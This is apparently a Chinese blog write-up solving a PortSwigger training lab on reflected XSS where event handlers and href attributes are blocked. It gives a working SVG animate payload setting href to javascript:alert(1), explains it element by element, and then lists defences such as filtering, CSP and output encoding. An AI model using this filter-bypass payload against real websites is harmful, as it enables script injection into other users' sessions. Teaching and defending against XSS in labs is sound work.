0x01 阅读须知
鸡哥安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
0x02 XSS说明
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。
0x03 题目解析
靶场地址:https://portswigger.net/web-security/all-labs
XSS题目二十五、事件处理程序和href属性被阻止的反射型 XSS
1.本实验包含一个反射 XSS漏洞,带有一些白名单标签,但所有事件和锚点href属性都被阻止。要解决该实验室问题,请执行跨站点脚本攻击,该攻击会注入一个向量,单击该向量时会调用该alert函数。请注意,您需要用“点击”一词标记您的矢量,以诱导模拟实验室用户点击您的矢量。例如:<a href="">Click me</a>
https://0ac700100465ea5380e41cd7008800e2.web-security-academy.net/?search=<svg><a><animate+attributeName=href+values=javascript:alert(1)+/><text+x=20+y=20>Click me</text></a>
https://0ac700100465ea5380e41cd7008800e2.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E
解析:
<svg>:SVG元素,表示一个可缩放的矢量图形。
<a>:SVG元素,表示一个超链接。
<animate>:SVG元素,用于创建动画效果。
attributeName=href:animate元素的属性,指定要动画的属性名称为“href”。
values=javascript:alert(1):animate元素的属性,指定动画的值为“javascript:alert(1)”。
<text>:SVG元素,表示一个文本。
x=20:text元素的属性,指定文本的x坐标为20。
y=20:text元素的属性,指定文本的y坐标为20。
因此,当用户点击文本时,animate元素会将超链接的href属性从空字符串动画到“javascript:alert(1)”字符串,从而触发JavaScript弹出窗口。
0x04 挖掘和防御
1.标签过滤
2.事件过滤
3.敏感字符过滤
4.设置httponly防止Cookie被获取
5.内容安全策略(CSP)
6.在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码
7.在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
8.在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
9.在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
1个1朵
5毛钱
天天搬砖的小M
能不能吃顿好的
就看你们的啦
原文始发于微信公众号(鲲哥的Bypass之旅):portswigger靶场-Lab25: 事件处理程序和href属性被阻止的反射型 XSS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论